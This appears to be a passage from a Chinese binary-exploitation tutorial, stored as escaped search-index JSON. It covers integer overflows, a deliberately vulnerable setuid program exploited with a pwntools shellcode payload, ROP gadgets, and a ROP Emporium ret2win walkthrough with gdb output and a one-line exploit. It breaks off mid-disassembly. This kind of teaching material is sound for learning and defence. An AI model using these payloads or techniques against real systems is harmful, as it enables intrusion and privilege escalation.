\u7c7b\u578b\u7684\u53c2\u6570\uff0c\u5e38\u5e38\u88ab\u8bef\u7528\u800c\u4ea7\u751f\u6574\u6570\u6ea2\u51fa\uff0c\u63a5\u7740\u5c31\u53ef\u80fd\u5bfc\u81f4\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u3002
#include <string.h>\n\nvoid *memcpy(void *dest, const void *src, size_t n);\n
memcpy()
\u51fd\u6570\u5c06 src
\u6240\u6307\u5411\u7684\u5b57\u7b26\u4e32\u4e2d\u4ee5 src
\u5730\u5740\u5f00\u59cb\u7684\u524d n
\u4e2a\u5b57\u8282\u590d\u5236\u5230 dest
\u6240\u6307\u7684\u6570\u7ec4\u4e2d\uff0c\u5e76\u8fd4\u56de dest
\u3002
#include <string.h>\n\nchar *strncpy(char *dest, const char *src, size_t n);\n
strncpy()
\u51fd\u6570\u4ece\u6e90 src
\u6240\u6307\u7684\u5185\u5b58\u5730\u5740\u7684\u8d77\u59cb\u4f4d\u7f6e\u5f00\u59cb\u590d\u5236 n
\u4e2a\u5b57\u8282\u5230\u76ee\u6807 dest
\u6240\u6307\u7684\u5185\u5b58\u5730\u5740\u7684\u8d77\u59cb\u4f4d\u7f6e\u4e2d\u3002
\u4e24\u4e2a\u51fd\u6570\u4e2d\u90fd\u6709\u4e00\u4e2a\u7c7b\u578b\u4e3a size_t
\u7684\u53c2\u6570\uff0c\u5b83\u662f\u65e0\u7b26\u53f7\u6574\u578b\u7684 sizeof
\u8fd0\u7b97\u7b26\u7684\u7ed3\u679c\u3002
typedef unsigned int size_t;\n
"},{"location":"Training/Material/Binary%20Exploitation/#_22","title":"\u6574\u6570\u6ea2\u51fa\u793a\u4f8b","text":"\u73b0\u5728\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u4e86\u6574\u6570\u6ea2\u51fa\u7684\u539f\u7406\u548c\u4e3b\u8981\u5f62\u5f0f\uff0c\u4e0b\u9762\u6211\u4eec\u5148\u770b\u51e0\u4e2a\u7b80\u5355\u793a\u4f8b\uff0c\u7136\u540e\u5b9e\u9645\u64cd\u4f5c\u5229\u7528\u4e00\u4e2a\u6574\u6570\u6ea2\u51fa\u6f0f\u6d1e\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#_23","title":"\u793a\u4f8b","text":"\u793a\u4f8b\u4e00\uff0c\u6574\u6570\u8f6c\u6362\uff1a
char buf[80];\nvoid vulnerable() {\n int len = read_int_from_network();\n char *p = read_string_from_network();\n if (len > 80) {\n error(\"length too large: bad dog, no cookie for you!\");\n return;\n }\n memcpy(buf, p, len);\n}\n
\u8fd9\u4e2a\u4f8b\u5b50\u7684\u95ee\u9898\u5728\u4e8e\uff0c\u5982\u679c\u653b\u51fb\u8005\u7ed9 len
\u8d4b\u4e8e\u4e86\u4e00\u4e2a\u8d1f\u6570\uff0c\u5219\u53ef\u4ee5\u7ed5\u8fc7 if
\u8bed\u53e5\u7684\u68c0\u6d4b\uff0c\u800c\u6267\u884c\u5230 memcpy()
\u7684\u65f6\u5019\uff0c\u7531\u4e8e\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f size_t
\u7c7b\u578b\uff0c\u8d1f\u6570 len
\u4f1a\u88ab\u8f6c\u6362\u4e3a\u4e00\u4e2a\u65e0\u7b26\u53f7\u6574\u578b\uff0c\u5b83\u53ef\u80fd\u662f\u4e00\u4e2a\u975e\u5e38\u5927\u7684\u6b63\u6570\uff0c\u4ece\u800c\u590d\u5236\u4e86\u5927\u91cf\u7684\u5185\u5bb9\u5230 buf
\u4e2d\uff0c\u5f15\u53d1\u4e86\u7f13\u51b2\u533a\u6ea2\u51fa\u3002
\u793a\u4f8b\u4e8c\uff0c\u56de\u7ed5\u548c\u6ea2\u51fa\uff1a
void vulnerable() {\n size_t len;\n // int len;\n char* buf;\n\n len = read_int_from_network();\n buf = malloc(len + 5);\n read(fd, buf, len);\n ...\n}\n
\u8fd9\u4e2a\u4f8b\u5b50\u770b\u4f3c\u907f\u5f00\u4e86\u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u95ee\u9898\uff0c\u4f46\u662f\u5982\u679c len
\u8fc7\u5927\uff0clen+5
\u6709\u53ef\u80fd\u53d1\u751f\u56de\u7ed5\u3002\u6bd4\u5982\u8bf4\uff0c\u5728 x86-32 \u4e0a\uff0c\u5982\u679c len = 0xFFFFFFFF
\uff0c\u5219 len+5 = 0x00000004
\uff0c\u8fd9\u65f6 malloc()
\u53ea\u5206\u914d\u4e86 4 \u5b57\u8282\u7684\u5185\u5b58\u533a\u57df\uff0c\u7136\u540e\u5728\u91cc\u9762\u5199\u5165\u5927\u91cf\u7684\u6570\u636e\uff0c\u7f13\u51b2\u533a\u6ea2\u51fa\u4e5f\u5c31\u53d1\u751f\u4e86\u3002\uff08\u5982\u679c\u5c06 len
\u58f0\u660e\u4e3a\u6709\u7b26\u53f7 int
\u7c7b\u578b\uff0clen+5
\u53ef\u80fd\u53d1\u751f\u6ea2\u51fa\uff09
\u793a\u4f8b\u4e09\uff0c\u622a\u65ad\uff1a
void main(int argc, char *argv[]) {\n unsigned short int total;\n total = strlen(argv[1]) + strlen(argv[2]) + 1;\n char *buf = (char *)malloc(total);\n strcpy(buf, argv[1]);\n strcat(buf, argv[2]);\n ...\n}\n
\u8fd9\u4e2a\u4f8b\u5b50\u63a5\u53d7\u4e24\u4e2a\u5b57\u7b26\u4e32\u7c7b\u578b\u7684\u53c2\u6570\u5e76\u8ba1\u7b97\u5b83\u4eec\u7684\u603b\u957f\u5ea6\uff0c\u7a0b\u5e8f\u5206\u914d\u8db3\u591f\u7684\u5185\u5b58\u6765\u5b58\u50a8\u62fc\u63a5\u540e\u7684\u5b57\u7b26\u4e32\u3002\u9996\u5148\u5c06\u7b2c\u4e00\u4e2a\u5b57\u7b26\u4e32\u53c2\u6570\u590d\u5236\u5230\u7f13\u51b2\u533a\u4e2d\uff0c\u7136\u540e\u5c06\u7b2c\u4e8c\u4e2a\u53c2\u6570\u8fde\u63a5\u5230\u5c3e\u90e8\u3002\u5982\u679c\u653b\u51fb\u8005\u63d0\u4f9b\u7684\u4e24\u4e2a\u5b57\u7b26\u4e32\u603b\u957f\u5ea6\u65e0\u6cd5\u7528 total
\u8868\u793a\uff0c\u5219\u4f1a\u53d1\u751f\u622a\u65ad\uff0c\u4ece\u800c\u5bfc\u81f4\u540e\u9762\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u3002
\u770b\u4e86\u4e0a\u9762\u7684\u793a\u4f8b\uff0c\u6211\u4eec\u6765\u771f\u6b63\u5229\u7528\u4e00\u4e2a\u6574\u6570\u6ea2\u51fa\u6f0f\u6d1e\u3002\u6e90\u7801
#include<stdio.h>\n#include<string.h>\nvoid validate_passwd(char *passwd) {\n char passwd_buf[11];\n unsigned char passwd_len = strlen(passwd);\n if(passwd_len >= 4 && passwd_len <= 8) {\n printf(\"good!\\n\");\n strcpy(passwd_buf, passwd);\n } else {\n printf(\"bad!\\n\");\n }\n}\n\nint main(int argc, char *argv[]) {\n if(argc != 2) {\n printf(\"error\\n\");\n return 0;\n }\n validate_passwd(argv[1]);\n}\n
\u4e0a\u9762\u7684\u7a0b\u5e8f\u4e2d strlen()
\u8fd4\u56de\u7c7b\u578b\u662f size_t
\uff0c\u5374\u88ab\u5b58\u50a8\u5728\u65e0\u7b26\u53f7\u5b57\u7b26\u4e32\u7c7b\u578b\u4e2d\uff0c\u4efb\u610f\u8d85\u8fc7\u65e0\u7b26\u53f7\u5b57\u7b26\u4e32\u6700\u5927\u4e0a\u9650\u503c\uff08256 \u5b57\u8282\uff09\u7684\u6570\u636e\u90fd\u4f1a\u5bfc\u81f4\u622a\u65ad\u5f02\u5e38\u3002\u5f53\u5bc6\u7801\u957f\u5ea6\u4e3a 261 \u65f6\uff0c\u622a\u65ad\u540e\u503c\u53d8\u4e3a 5\uff0c\u6210\u529f\u7ed5\u8fc7\u4e86 if
\u7684\u5224\u65ad\uff0c\u5bfc\u81f4\u6808\u6ea2\u51fa\u3002\u4e0b\u9762\u6211\u4eec\u5229\u7528\u6ea2\u51fa\u6f0f\u6d1e\u6765\u83b7\u5f97 shell\u3002
\u7f16\u8bd1\u547d\u4ee4\uff1a
# echo 0 > /proc/sys/kernel/randomize_va_space\n$ gcc -g -fno-stack-protector -z execstack vuln.c\n$ sudo chown root vuln\n$ sudo chgrp root vuln\n$ sudo chmod +s vuln\n
\u4f7f\u7528 gdb \u53cd\u6c47\u7f16 validate_passwd
\u51fd\u6570\u3002
gdb-peda$ disassemble validate_passwd\nDump of assembler code for function validate_passwd:\n 0x0000059d <+0>: push ebp ; \u538b\u5165 ebp\n 0x0000059e <+1>: mov ebp,esp\n 0x000005a0 <+3>: push ebx ; \u538b\u5165 ebx\n 0x000005a1 <+4>: sub esp,0x14\n 0x000005a4 <+7>: call 0x4a0 <__x86.get_pc_thunk.bx>\n 0x000005a9 <+12>: add ebx,0x1a57\n 0x000005af <+18>: sub esp,0xc\n 0x000005b2 <+21>: push DWORD PTR [ebp+0x8]\n 0x000005b5 <+24>: call 0x430 <strlen@plt>\n 0x000005ba <+29>: add esp,0x10\n 0x000005bd <+32>: mov BYTE PTR [ebp-0x9],al ; \u5c06 len \u5b58\u5165 [ebp-0x9]\n 0x000005c0 <+35>: cmp BYTE PTR [ebp-0x9],0x3\n 0x000005c4 <+39>: jbe 0x5f2 <validate_passwd+85>\n 0x000005c6 <+41>: cmp BYTE PTR [ebp-0x9],0x8\n 0x000005ca <+45>: ja 0x5f2 <validate_passwd+85>\n 0x000005cc <+47>: sub esp,0xc\n 0x000005cf <+50>: lea eax,[ebx-0x1910]\n 0x000005d5 <+56>: push eax\n 0x000005d6 <+57>: call 0x420 <puts@plt>\n 0x000005db <+62>: add esp,0x10\n 0x000005de <+65>: sub esp,0x8\n 0x000005e1 <+68>: push DWORD PTR [ebp+0x8]\n 0x000005e4 <+71>: lea eax,[ebp-0x14] ; \u53d6 passwd_buf \u5730\u5740\n 0x000005e7 <+74>: push eax ; \u538b\u5165 passwd_buf\n 0x000005e8 <+75>: call 0x410 <strcpy@plt>\n 0x000005ed <+80>: add esp,0x10\n 0x000005f0 <+83>: jmp 0x604 <validate_passwd+103>\n 0x000005f2 <+85>: sub esp,0xc\n 0x000005f5 <+88>: lea eax,[ebx-0x190a]\n 0x000005fb <+94>: push eax\n 0x000005fc <+95>: call 0x420 <puts@plt>\n 0x00000601 <+100>: add esp,0x10\n 0x00000604 <+103>: nop\n 0x00000605 <+104>: mov ebx,DWORD PTR [ebp-0x4]\n 0x00000608 <+107>: leave \n 0x00000609 <+108>: ret\nEnd of assembler dump.\n
\u901a\u8fc7\u9605\u8bfb\u53cd\u6c47\u7f16\u4ee3\u7801\uff0c\u6211\u4eec\u77e5\u9053\u7f13\u51b2\u533a passwd_buf
\u4f4d\u4e8e ebp=0x14
\u7684\u4f4d\u7f6e\uff080x000005e4 <+71>: lea eax,[ebp-0x14]
\uff09\uff0c\u800c\u8fd4\u56de\u5730\u5740\u5728 ebp+4
\u7684\u4f4d\u7f6e\uff0c\u6240\u4ee5\u8fd4\u56de\u5730\u5740\u76f8\u5bf9\u4e8e\u7f13\u51b2\u533a 0x18
\u7684\u4f4d\u7f6e\u3002\u6211\u4eec\u6d4b\u8bd5\u4e00\u4e0b\uff1a
gdb-peda$ r `python2 -c 'print \"A\"*24 + \"B\"*4 + \"C\"*233'`\nStarting program: /home/a.out `python2 -c 'print \"A\"*24 + \"B\"*4 + \"C\"*233'`\ngood!\n\nProgram received signal SIGSEGV, Segmentation fault.\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd0f4 ('A' <repeats 24 times>, \"BBBB\", 'C' <repeats 172 times>...)\nEBX: 0x41414141 ('AAAA')\nECX: 0xffffd490 --> 0x534c0043 ('C')\nEDX: 0xffffd1f8 --> 0xffff0043 --> 0x0\nESI: 0xf7f95000 --> 0x1bbd90\nEDI: 0x0\nEBP: 0x41414141 ('AAAA')\nESP: 0xffffd110 ('C' <repeats 200 times>...)\nEIP: 0x42424242 ('BBBB')\nEFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\nInvalid $PC address: 0x42424242\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd110 ('C' <repeats 200 times>...)\n0004| 0xffffd114 ('C' <repeats 200 times>...)\n0008| 0xffffd118 ('C' <repeats 200 times>...)\n0012| 0xffffd11c ('C' <repeats 200 times>...)\n0016| 0xffffd120 ('C' <repeats 200 times>...)\n0020| 0xffffd124 ('C' <repeats 200 times>...)\n0024| 0xffffd128 ('C' <repeats 200 times>...)\n0028| 0xffffd12c ('C' <repeats 200 times>...)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\nStopped reason: SIGSEGV\n0x42424242 in ?? ()\n
\u53ef\u4ee5\u770b\u5230 EIP
\u88ab BBBB
\u8986\u76d6\uff0c\u76f8\u5f53\u4e8e\u6211\u4eec\u83b7\u5f97\u4e86\u8fd4\u56de\u5730\u5740\u7684\u63a7\u5236\u6743\u3002\u6784\u5efa\u4e0b\u9762\u7684 payload\uff1a
from pwn import *\n\nret_addr = 0xffffd118 # ebp = 0xffffd108\nshellcode = shellcraft.i386.sh()\n\npayload = \"A\" * 24\npayload += p32(ret_addr)\npayload += \"\\x90\" * 20\npayload += asm(shellcode)\npayload += \"C\" * 169 # 24 + 4 + 20 + 44 + 169 = 261\n
"},{"location":"Training/Material/Binary%20Exploitation/#314-rop","title":"3.1.4 \u8fd4\u56de\u5bfc\u5411\u7f16\u7a0b\uff08ROP\uff09","text":"\u8fd4\u56de\u5bfc\u5411\u7f16\u7a0b\uff08Return-Oriented Programming\uff0c\u7f29\u5199\uff1aROP\uff09\u662f\u4e00\u79cd\u9ad8\u7ea7\u7684\u5185\u5b58\u653b\u51fb\u6280\u672f\uff0c\u8be5\u6280\u672f\u5141\u8bb8\u653b\u51fb\u8005\u5728\u73b0\u4ee3\u64cd\u4f5c\u7cfb\u7edf\u7684\u5404\u79cd\u901a\u7528\u9632\u5fa1\u4e0b\u6267\u884c\u4ee3\u7801\uff0c\u5982\u5185\u5b58\u4e0d\u53ef\u6267\u884c\u548c\u4ee3\u7801\u7b7e\u540d\u7b49\u3002\u8fd9\u7c7b\u653b\u51fb\u5f80\u5f80\u5229\u7528\u64cd\u4f5c\u5806\u6808\u8c03\u7528\u65f6\u7684\u7a0b\u5e8f\u6f0f\u6d1e\uff0c\u901a\u5e38\u662f\u7f13\u51b2\u533a\u6ea2\u51fa\u3002\u653b\u51fb\u8005\u63a7\u5236\u5806\u6808\u8c03\u7528\u4ee5\u52ab\u6301\u7a0b\u5e8f\u63a7\u5236\u6d41\u5e76\u6267\u884c\u9488\u5bf9\u6027\u7684\u673a\u5668\u8bed\u8a00\u6307\u4ee4\u5e8f\u5217\uff08gadgets\uff09\uff0c\u6bcf\u4e00\u6bb5 gadget \u901a\u5e38\u4ee5 return \u6307\u4ee4\uff08ret
\uff0c\u673a\u5668\u7801\u4e3ac3
\uff09\u7ed3\u675f\uff0c\u5e76\u4f4d\u4e8e\u5171\u4eab\u5e93\u4ee3\u7801\u4e2d\u7684\u5b50\u7a0b\u5e8f\u4e2d\u3002\u901a\u8fc7\u6267\u884c\u8fd9\u4e9b\u6307\u4ee4\u5e8f\u5217\uff0c\u4e5f\u5c31\u63a7\u5236\u4e86\u7a0b\u5e8f\u7684\u6267\u884c\u3002
ret
\u6307\u4ee4\u76f8\u5f53\u4e8e pop eip
\u3002\u5373\uff0c\u9996\u5148\u5c06 esp
\u6307\u5411\u7684 4 \u5b57\u8282\u5185\u5bb9\u8bfb\u53d6\u5e76\u8d4b\u503c\u7ed9 eip
\uff0c\u7136\u540e esp
\u52a0\u4e0a 4 \u5b57\u8282\u6307\u5411\u6808\u7684\u4e0b\u4e00\u4e2a\u4f4d\u7f6e\u3002\u5982\u679c\u5f53\u524d\u6267\u884c\u7684\u6307\u4ee4\u5e8f\u5217\u4ecd\u7136\u4ee5 ret
\u6307\u4ee4\u7ed3\u675f\uff0c\u5219\u8fd9\u4e2a\u8fc7\u7a0b\u5c06\u91cd\u590d\uff0c esp
\u518d\u6b21\u589e\u52a0\u5e76\u4e14\u6267\u884c\u4e0b\u4e00\u4e2a\u6307\u4ee4\u5e8f\u5217\u3002
\u7406\u8bba\u4e0a\u6211\u4eec\u662f\u53ef\u4ee5\u8fd9\u6837\u5bfb\u627e gadgets \u7684\uff0c\u4f46\u5b9e\u9645\u4e0a\u6709\u5f88\u591a\u5de5\u5177\u53ef\u4ee5\u5b8c\u6210\u8fd9\u4e2a\u5de5\u4f5c\uff0c\u5982 ROPgadget\uff0cRopper \u7b49\u3002\u66f4\u5b8c\u6574\u7684\u641c\u7d22\u53ef\u4ee5\u4f7f\u7528 http://ropshell.com/\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#gadgets_1","title":"\u5e38\u7528\u7684 gadgets","text":"\u5bf9\u4e8e gadgets \u80fd\u505a\u7684\u4e8b\u60c5\uff0c\u57fa\u672c\u4e0a\u53ea\u8981\u4f60\u6562\u60f3\uff0c\u5b83\u5c31\u6562\u6267\u884c\u3002\u4e0b\u9762\u7b80\u5355\u4ecb\u7ecd\u51e0\u79cd\u7528\u6cd5\uff1a
pop eax; ret
mov ecx,[eax]; ret
mov [eax],ecx; ret
add eax,ebx; ret
, xor edx,edx; ret
int 0x80; ret
, call gs:[0x10]; ret
leave; ret
, pop ebp; ret
ROP Emporium \u63d0\u4f9b\u4e86\u4e00\u7cfb\u5217\u7528\u4e8e\u5b66\u4e60 ROP \u7684\u6311\u6218\uff0c\u6bcf\u4e00\u4e2a\u6311\u6218\u90fd\u4ecb\u7ecd\u4e86\u4e00\u4e2a\u77e5\u8bc6\uff0c\u96be\u5ea6\u4e5f\u9010\u6e10\u589e\u52a0\uff0c\u662f\u5faa\u5e8f\u6e10\u8fdb\u5b66\u4e60 ROP \u7684\u597d\u8d44\u6599\u3002ROP Emporium \u8fd8\u6709\u4e2a\u7279\u70b9\u662f\u5b83\u4e13\u6ce8\u4e8e ROP\uff0c\u6240\u6709\u6311\u6218\u90fd\u6709\u76f8\u540c\u7684\u6f0f\u6d1e\u70b9\uff0c\u4e0d\u540c\u7684\u53ea\u662f ROP \u94fe\u6784\u9020\u7684\u4e0d\u540c\uff0c\u6240\u4ee5\u4e0d\u6d89\u53ca\u5176\u4ed6\u7684\u6f0f\u6d1e\u5229\u7528\u548c\u9006\u5411\u7684\u5185\u5bb9\u3002\u6bcf\u4e2a\u6311\u6218\u90fd\u5305\u542b\u4e86 32 \u4f4d\u548c 64 \u4f4d\u7684\u7a0b\u5e8f\uff0c\u901a\u8fc7\u5bf9\u6bd4\u80fd\u5e2e\u52a9\u6211\u4eec\u7406\u89e3 ROP \u94fe\u5728\u4e0d\u540c\u4f53\u7cfb\u7ed3\u6784\u4e0b\u7684\u5dee\u5f02\uff0c\u4f8b\u5982\u53c2\u6570\u7684\u4f20\u9012\u7b49\u3002\u8fd9\u7bc7\u6587\u7ae0\u6211\u4eec\u5c31\u4ece\u8fd9\u4e9b\u6311\u6218\u4e2d\u6765\u5b66\u4e60\u5427\u3002
\u8fd9\u4e9b\u6311\u6218\u90fd\u5305\u542b\u4e00\u4e2a flag.txt
\u7684\u6587\u4ef6\uff0c\u6211\u4eec\u7684\u76ee\u6807\u5c31\u662f\u901a\u8fc7\u63a7\u5236\u7a0b\u5e8f\u6267\u884c\uff0c\u6765\u6253\u5370\u51fa\u6587\u4ef6\u4e2d\u7684\u5185\u5bb9\u3002\u5f53\u7136\u4f60\u4e5f\u53ef\u4ee5\u5c1d\u8bd5\u83b7\u5f97 shell\u3002
\u4e0b\u8f7d\u6587\u4ef6
"},{"location":"Training/Material/Binary%20Exploitation/#ret2win32","title":"ret2win32","text":"\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u5bf9\u4e8e\u4e00\u4e2a\u6709\u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u7a0b\u5e8f\uff0c\u6211\u4eec\u901a\u5e38\u5148\u8f93\u5165\u4e00\u5b9a\u6570\u91cf\u7684\u5b57\u7b26\u586b\u6ee1\u7f13\u51b2\u533a\uff0c\u7136\u540e\u662f\u7cbe\u5fc3\u6784\u9020\u7684 ROP \u94fe\uff0c\u901a\u8fc7\u8986\u76d6\u5806\u6808\u4e0a\u4fdd\u5b58\u7684\u8fd4\u56de\u5730\u5740\u6765\u5b9e\u73b0\u51fd\u6570\u8df3\u8f6c\uff08\u5173\u4e8e\u7f13\u51b2\u533a\u6ea2\u51fa\u8bf7\u67e5\u770b\u4e0a\u4e00\u7ae0 3.1.3\u6808\u6ea2\u51fa\uff09\u3002
\u7b2c\u4e00\u4e2a\u6311\u6218\u6211\u4f1a\u5c3d\u91cf\u8be6\u7ec6\u4e00\u70b9\uff0c\u56e0\u4e3a\u6240\u6709\u6311\u6218\u7a0b\u5e8f\u90fd\u6709\u76f8\u4f3c\u7684\u7ed3\u6784\uff0c\u7f13\u51b2\u533a\u5927\u5c0f\u90fd\u4e00\u6837\uff0c\u6211\u4eec\u770b\u4e00\u4e0b\u6f0f\u6d1e\u51fd\u6570\uff1a
gdb-peda$ disassemble pwnme\nDump of assembler code for function pwnme:\n 0x080485f6 <+0>: push ebp\n 0x080485f7 <+1>: mov ebp,esp\n 0x080485f9 <+3>: sub esp,0x28\n 0x080485fc <+6>: sub esp,0x4\n 0x080485ff <+9>: push 0x20\n 0x08048601 <+11>: push 0x0\n 0x08048603 <+13>: lea eax,[ebp-0x28]\n 0x08048606 <+16>: push eax\n 0x08048607 <+17>: call 0x8048460 <memset@plt>\n 0x0804860c <+22>: add esp,0x10\n 0x0804860f <+25>: sub esp,0xc\n 0x08048612 <+28>: push 0x804873c\n 0x08048617 <+33>: call 0x8048420 <puts@plt>\n 0x0804861c <+38>: add esp,0x10\n 0x0804861f <+41>: sub esp,0xc\n 0x08048622 <+44>: push 0x80487bc\n 0x08048627 <+49>: call 0x8048420 <puts@plt>\n 0x0804862c <+54>: add esp,0x10\n 0x0804862f <+57>: sub esp,0xc\n 0x08048632 <+60>: push 0x8048821\n 0x08048637 <+65>: call 0x8048400 <printf@plt>\n 0x0804863c <+70>: add esp,0x10\n 0x0804863f <+73>: mov eax,ds:0x804a060\n 0x08048644 <+78>: sub esp,0x4\n 0x08048647 <+81>: push eax\n 0x08048648 <+82>: push 0x32\n 0x0804864a <+84>: lea eax,[ebp-0x28]\n 0x0804864d <+87>: push eax\n 0x0804864e <+88>: call 0x8048410 <fgets@plt>\n 0x08048653 <+93>: add esp,0x10\n 0x08048656 <+96>: nop\n 0x08048657 <+97>: leave \n 0x08048658 <+98>: ret\nEnd of assembler dump.\ngdb-peda$ disassemble ret2win\nDump of assembler code for function ret2win:\n 0x08048659 <+0>: push ebp\n 0x0804865a <+1>: mov ebp,esp\n 0x0804865c <+3>: sub esp,0x8\n 0x0804865f <+6>: sub esp,0xc\n 0x08048662 <+9>: push 0x8048824\n 0x08048667 <+14>: call 0x8048400 <printf@plt>\n 0x0804866c <+19>: add esp,0x10\n 0x0804866f <+22>: sub esp,0xc\n 0x08048672 <+25>: push 0x8048841\n 0x08048677 <+30>: call 0x8048430 <system@plt>\n 0x0804867c <+35>: add esp,0x10\n 0x0804867f <+38>: nop\n 0x08048680 <+39>: leave \n 0x08048681 <+40>: ret\nEnd of assembler dump.\n
\u51fd\u6570 pwnme()
\u662f\u5b58\u5728\u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u51fd\u6570\uff0c\u5b83\u8c03\u7528 fgets()
\u8bfb\u53d6\u4efb\u610f\u6570\u636e\uff0c\u4f46\u7f13\u51b2\u533a\u7684\u5927\u5c0f\u53ea\u6709 40 \u5b57\u8282\uff080x0804864a <+84>: lea eax,[ebp-0x28]
\uff0c0x28=40\uff09\uff0c\u5f53\u8f93\u5165\u5927\u4e8e 40 \u5b57\u8282\u7684\u6570\u636e\u65f6\uff0c\u5c31\u53ef\u4ee5\u8986\u76d6\u6389\u8c03\u7528\u51fd\u6570\u7684 ebp \u548c\u8fd4\u56de\u5730\u5740\uff1a
gdb-peda$ pattern_create 50\n'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'\ngdb-peda$ r\nStarting program: /home/firmy/Desktop/rop_emporium/ret2win32/ret2win32\nret2win by ROP Emporium\n32bits\n\nFor my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?\nYou there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n\n> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n\nProgram received signal SIGSEGV, Segmentation fault.\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd5c0 (\"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb\")\nEBX: 0x0\nECX: 0xffffd5c0 (\"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb\")\nEDX: 0xf7f90860 --> 0x0\nESI: 0xf7f8ee28 --> 0x1d1d30\nEDI: 0x0\nEBP: 0x41304141 ('AA0A')\nESP: 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('')\nEIP: 0x41414641 ('AFAA')\nEFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\nInvalid $PC address: 0x41414641\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('')\n0004| 0xffffd5f4 --> 0xffffd610 --> 0x1\n0008| 0xffffd5f8 --> 0x0\n0012| 0xffffd5fc --> 0xf7dd57c3 (<__libc_start_main+243>: add esp,0x10)\n0016| 0xffffd600 --> 0xf7f8ee28 --> 0x1d1d30\n0020| 0xffffd604 --> 0xf7f8ee28 --> 0x1d1d30\n0024| 0xffffd608 --> 0x0\n0028| 0xffffd60c --> 0xf7dd57c3 (<__libc_start_main+243>: add esp,0x10)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\nStopped reason: SIGSEGV\n0x41414641 in ?? ()\ngdb-peda$ pattern_offset $ebp\n1093681473 found at offset: 40\ngdb-peda$ pattern_offset $eip\n1094796865 found at offset: 44\n
\u7f13\u51b2\u533a\u8ddd\u79bb ebp \u548c eip \u7684\u504f\u79fb\u5206\u522b\u4e3a 40 \u548c 44\uff0c\u8fd9\u5c31\u9a8c\u8bc1\u4e86\u6211\u4eec\u7684\u5047\u8bbe\u3002
\u901a\u8fc7\u67e5\u770b\u7a0b\u5e8f\u7684\u903b\u8f91\uff0c\u867d\u7136\u6211\u4eec\u77e5\u9053 .text \u6bb5\u4e2d\u5b58\u5728\u51fd\u6570 ret2win()
\uff0c\u4f46\u5728\u7a0b\u5e8f\u6267\u884c\u4e2d\u5e76\u6ca1\u6709\u8c03\u7528\u5230\u5b83\uff0c\u6211\u4eec\u8981\u505a\u7684\u5c31\u662f\u7528\u8be5\u51fd\u6570\u7684\u5730\u5740\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u4f7f\u7a0b\u5e8f\u8df3\u8f6c\u5230\u8be5\u51fd\u6570\u4e2d\uff0c\u4ece\u800c\u6253\u5370\u51fa flag\uff0c\u6211\u4eec\u79f0\u8fd9\u4e00\u7c7b\u578b\u7684 ROP \u4e3a ret2text\u3002
\u8fd8\u6709\u4e00\u4ef6\u91cd\u8981\u7684\u4e8b\u60c5\u662f checksec\uff1a
gdb-peda$ checksec\nCANARY : disabled\nFORTIFY : disabled\nNX : ENABLED\nPIE : disabled\nRELRO : Partial\n
\u8fd9\u91cc\u5f00\u542f\u4e86\u5173\u95ed\u4e86 PIE\uff0c\u6240\u4ee5 .text \u7684\u52a0\u8f7d\u5730\u5740\u662f\u4e0d\u53d8\u7684\uff0c\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528 ret2win()
\u7684\u5730\u5740 0x08048659
\u3002
payload \u5982\u4e0b\uff08\u6ce8\u8fd9\u7bc7\u6587\u7ae0\u4e2d\u7684paylaod\u6211\u4f1a\u4f7f\u7528\u591a\u79cd\u65b9\u6cd5\u6765\u5199\uff0c\u4ee5\u5c55\u793a\u5404\u79cd\u5de5\u5177\u7684\u4f7f\u7528\uff09\uff1a
$ python2 -c \"print 'A'*44 + '\\x59\\x86\\x04\\x08'\" | ./ret2win32\n...\n> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}\n
"},{"location":"Training/Material/Binary%20Exploitation/#ret2win","title":"ret2win","text":"\u73b0\u5728\u662f 64 \u4f4d\u7a0b\u5e8f\uff1a
gdb-peda$ disassemble pwnme\nDump of assembler code for function pwnme:\n 0x00000000004007b5 <+0>: push rbp\n 0x00000000004007b6 <+1>: mov rbp,rsp\n 0x00000000004007b9 <+4>: sub rsp,0x20\n 0x00000000004007bd <+8>: lea rax,[rbp-0x20]\n 0x00000000004007c1 <+12>: mov edx,0x20\n 0x00000000004007c6 <+17>: mov esi,0x0\n 0x00000000004007cb <+22>: mov rdi,rax\n 0x00000000004007ce <+25>: call 0x400600 <memset@plt>\n 0x00000000004007d3 <+30>: mov edi,0x4008f8\n 0x00000000004007d8 <+35>: call 0x4005d0 <puts@plt>\n 0x00000000004007dd <+40>: mov edi,0x400978\n 0x00000000004007e2 <+45>: call 0x4005d0 <puts@plt>\n 0x00000000004007e7 <+50>: mov edi,0x4009dd\n 0x00000000004007ec <+55>: mov eax,0x0\n 0x00000000004007f1 <+60>: call 0x4005f0 <printf@plt>\n 0x00000000004007f6 <+65>: mov rdx,QWORD PTR [rip+0x200873] # 0x601070 